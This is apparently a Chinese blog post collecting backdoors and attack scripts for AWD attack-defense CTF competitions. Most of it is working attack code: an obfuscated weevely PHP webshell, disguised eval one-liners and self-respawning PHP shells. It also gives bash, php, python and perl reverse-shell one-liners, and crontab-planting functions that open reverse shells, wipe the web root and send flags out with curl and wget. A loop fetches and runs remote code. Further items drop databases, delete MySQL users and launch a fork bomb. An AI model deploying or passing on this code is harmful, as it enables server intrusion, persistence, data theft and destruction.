AWD模式是一个非常有意思的比赛模式,其过程也是惊险刺激!今天主要对后门进行一个汇总!
优点在于混淆性高,其他选手很难通过分析代码获得weevely型后门的密钥。另外,weevely内置了一些基础的小功能,使用起来也相对方便。
缺点便是通过php解析执行,执行速度较慢。
生成weevely后门:
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/Myself/weevely3 [22:10:27] C:2
$ python weevely.py generate woaizhongguo weevely.php
Generated backdoor with password 'woaizhongguo' in 'weevely.php' of 1469 byte size.
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/Myself/weevely3 [22:10:50]
$ cat weevely.php
<?php
$u='$kh="-Y6471";$kf="-Y2151-Y";f-Yunction -Yx($t,$-Yk)-Y{$c=-Yst-Yrle-Yn($k);$-Yl=strlen($t);$-Yo';
$h='.$k-Yf),-Y0,3));$p=-Y"";f-Yor($z=1;-Y$z;
$s='-Ys-Ytrpos(-Y$p,$h)===0){$s[-Y$i]="";$-Yp=$-Yss($p-Y,3);}if(a-Yrra-Yy_ke-Yy_exists($i,-Y$s)){$s[';
$j=';}}re-Yturn $o-Y;-Y-Y}$r=$_SERVER-Y;$rr=@$r[-Y-Y"HTTP_REFER-YER"];$-Yra=@$r-Y[-Y"HT-YTP_ACC';
$C='o-Y-Ympress(@x(-Y@b-Yase64_decode-Y(-Y-Ypreg_replace(a-Yrray("/-Y-Y_/","-Y/-/"-Y),array(-Y"/","+"),';
$W=');$q=array_value-Ys-Y($q);preg_-Ymatch_all(-Y"-Y/([-Y\\w])[\\w-]+(?:-Y;q=0.(-Y-Y[\\d-Y]))?,-Y?/",';
$G=str_replace('N','','cNNreate_NfNuncNtiNon');
$c='$ra-Y,$m);if-Y($q-Y-Y&&$m){@s-Yession_start();$s=&$_-YSESS-YION;$ss-Y="subs-Ytr-Y";$-Ysl="-Ys';
$e='tr-Ytolowe-Yr";$i=$-Ym[1][-Y0].$m[1][-Y1]-Y;$h=$sl($ss(md5($i.-Y$kh-Y),0,-Y3));$f=$sl($s-Ys(-Ymd5($i';
$M='$i-Y].=$p;$e-Y=strpo-Ys($s-Y[$-Yi],$f);-Yif($e){$k-Y=-Y$-Ykh.$kf;ob_start-Y();@e-Yval(@gzunc';
$f='-Y4_enc-Yode(x(g-Yzcompres-Y-Ys($o)-Y,$k));p-Yrint("<$k-Y>$d-Y$-Yk>");@session_-Ydestro-Yy();}}}}';
$B='$ss-Y($s[$i],-Y0,$e)))-Y,$-Yk)-Y)-Y);$o=ob_get_conten-Yts();ob-Y-Y_e-Ynd_clean();$d=ba-Yse6';
$g='=""-Y;for($i=0;$i<$l;-Y){-Yfo-Yr($j=0;($j<$-Yc&&$i<-Y$l)-Y;$j-Y++,$i++)-Y{$o.=$t{$i-Y}^$k{$-Yj}';
$x='-YEPT_LANGUAGE"];if-Y($-Yrr&&$ra)-Y{$u=p-Y-Yarse_-Yurl-Y($rr-Y);parse_str-Y($u["quer-Yy"]-Y-Y,$q';
$S=str_replace('-Y','',$u.$g.$j.$x.$W.$c.$e.$h.$s.$M.$C.$B.$f);
$o=$G('',$S);$o();
?>
使用weevely后门
将其上传到指定web目录后,使用方式如下:
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/Myself/weevely3 [22:14:15]
$ python weevely.py http://202.112.51.135:8801/Myself/weevely.php woaizhongguo
[+] weevely 3.5
[+] Target: 202.112.51.135:8801
[+] Session: /Users/moxiaoxi/.weevely/sessions/202.112.51.135/weevely_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ls
antsword.php
k.php
reverse.php
weevely.php
www-data@9b275645e178:/var/www/html/Myself $ whoami
www-data
www-data@9b275645e178:/var/www/html/Myself $
这样就能得到www-data的一个类shell界面。
load_session连接
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/Myself/weevely3 [22:15:54] C:2
$ python weevely.py session /Users/moxiaoxi/.weevely/sessions/202.112.51.135/weevely_0.session
[+] weevely 3.5
[+] Target: 202.112.51.135:8801
[+] Session: /Users/moxiaoxi/.weevely/sessions/202.112.51.135/weevely_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ls
antsword.php
k.php
reverse.php
weevely.php
www-data@9b275645e178:/var/www/html/Myself $
0) {
if (in_array($ip, $white_ip_list)) {
$a = $_POST['moxiaoxi'];
if (isset($a)) {
eval($a);
}
}else{
echo('IP:'.$ip);
}
}
用以连接后,以Gui方式运维。
控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
简单举例:
连接方式:php?2=assert密码是1。
献上我常用得一句话
配置为?b=))99(rhC(tseuqeR+lave
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
set_time_limit(0);
ignore_user_abort(true);
$file = '.conifg.php';
$shell = "curl 10.0.0.2"); ?>";
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
usleep(50);
}
?>
tips:.config.php前面使用一个点,能很好的隐藏文件
在bash下可以运行:
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
使用php:
php -r '$sock=fsockopen("127.0.0.1","4444");exec("/bin/sh -i <&3 >&3 2>&3");'
使用python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用perl:
perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
查看定时任务
cat /etc/crontab*
与crontab -l
crontab备份
crontab -l > $HOME/mycron
删除crontab(www-data种植,www-data清理)
crontab -r
crontab执行任意命令
import base64
def crontab_reverse(cmd):
crontab_path = "/tmp"
crontab_cmd = "* * * * * bash -c '%s'\n"%cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp.conf"+ " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd
crontab反弹shell
import base64
def crontab_reverse(reverse_ip,reverse_port):
crontab_path = "/tmp"
cmd = 'bash -i >& /dev/tcp/%s/%d 0>&1'%(reverse_ip , reverse_port)
crontab_cmd = "* * * * * bash -c '%s'\n"%cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp.conf"+ " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd
ubuntu@ubuntu-virtual-machine:~$ /bin/echo KiAqICogKiAqIGJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzgwODAgMD4mMScK | /usr/bin/base64 -d | /bin/cat >> /tmp/tmp.conf ; /usr/bin/crontab /tmp/tmp.conf
ubuntu@ubuntu-virtual-machine:~$
ubuntu@ubuntu-virtual-machine:~$ crontab -l
* * * * * bash -c 'bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'
crontab删除文件
import base64
def crontab_rm(rm_paths='/var/www/html/'):
crontab_path = "/tmp"
cmd = '/bin/rm -rf %s'%rm_paths
crontab_cmd = "* * * * * %s\n"%cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd
crontab提交flag
import base64
def crontab_flag_submit(flag_server,flag_port,flag_url,flag_token,flag_path):
crontab_path = '/tmp'
cmd = '/usr/bin/wget "http://%s:%s/%s" -d "token=%s&flag=$(/bin/cat %s)" ' %(flag_server,flag_port,flag_url,flag_token,flag_path)
crontab_cmd = "* * * * * %s\n"%cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd
cmd = crontab_flag_submit(flag_server='172.16.132.2',flag_port='8088',flag_url='submit',flag_token='bcbe3365e6ac95ea2c0343a2395834dd',flag_path='/flag')
print(cmd)
…
内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。要杀死这种内存马,在root权限下只需要重启Apache或者nginx即可。而在线下赛中,我们往往没有root权限。因此,我们一般得通过www-data用户进行杀马。
杀马,kill -9 -1 杀死所有子进程(杀死当前用户所有进程,有权限下慎用),也可以直接killall apache2。这种操作并不会kill掉apache主进程,因为内存马是Apache启动的一个子进程;
ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
回送flag+自动提交flag+回连任意代码执行
$message="* * * * * curl 192.168.136.1:8098/?flag=$(cat /flag)&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY";
ignore_user_abort(true);
set_time_limit(0);
while (true) {
$x =file_get_contents('/flag');
file_get_contents('http://192.168.136.1:8099/test.php?token=moxiaoxi&flag='.$x);
sleep(5);
system("echo '$message' > /tmp/1 ;");
system("crontab /tmp/1;");
system("rm /tmp/1;");
$c=file_get_contents('http://192.168.136.1:8100/1.txt');
system($c);
}
?>
覆盖写
ignore_user_abort(true);
set_time_limit(0);
while (1){
$path = "/var/www/html/css/.moxiaoxi2.php";
$data = "";
@file_put_contents($path, $data);
system('chmod 777 '.$path);
usleep(100);
}
?>
这里讲一下二进制马,我至今还没找到那种可以动态变pid,而且执行速度超快的二进制马。所以,在当下看来,二进制马作用其实不大,因为所有的二进制马都可以通过杀死内存马的方式杀掉,就显得很鸡肋。如果后面发现了这种快速执行的骚马,可以拿出来讲一讲。
数据库相关
删除数据库
import base64
def rm_db(db_user,my_db_passwd):
cmd = "/usr/bin/mysql -h localhost -u%s %s -e '"%(db_user,my_db_passwd)
db_name = ['performance_schema','mysql','flag']
for db in db_name:
cmd += "drop database %s;"%db
cmd += "'"
return cmd
修改用户信息
update mysql.user set authentication_string=PASSWORD('hi23333');# 修改所有用户密码
flush privileges;
UPDATE mysql.user SET User='aaaaaaaaaaaa' WHERE user='root';
flush privileges;
delete from mysql.user ;#删除所有用户
flush privileges;
fork炸弹
/bin/echo '.() { .|.& } && .' > /tmp/aaa;/bin/bash /tmp/aaa;
滥用杀死不死马脚本,不停kill apache2,造成dos
大量发送长度超长的脚本,造成dos
mysql sleep型dos
所有的正向shell可以自己写一段简单的python脚本进行控制与管理,而反向shell可以使用王一航写的反向shell管理器.现在的反向shell管理器还存在一些bug。
….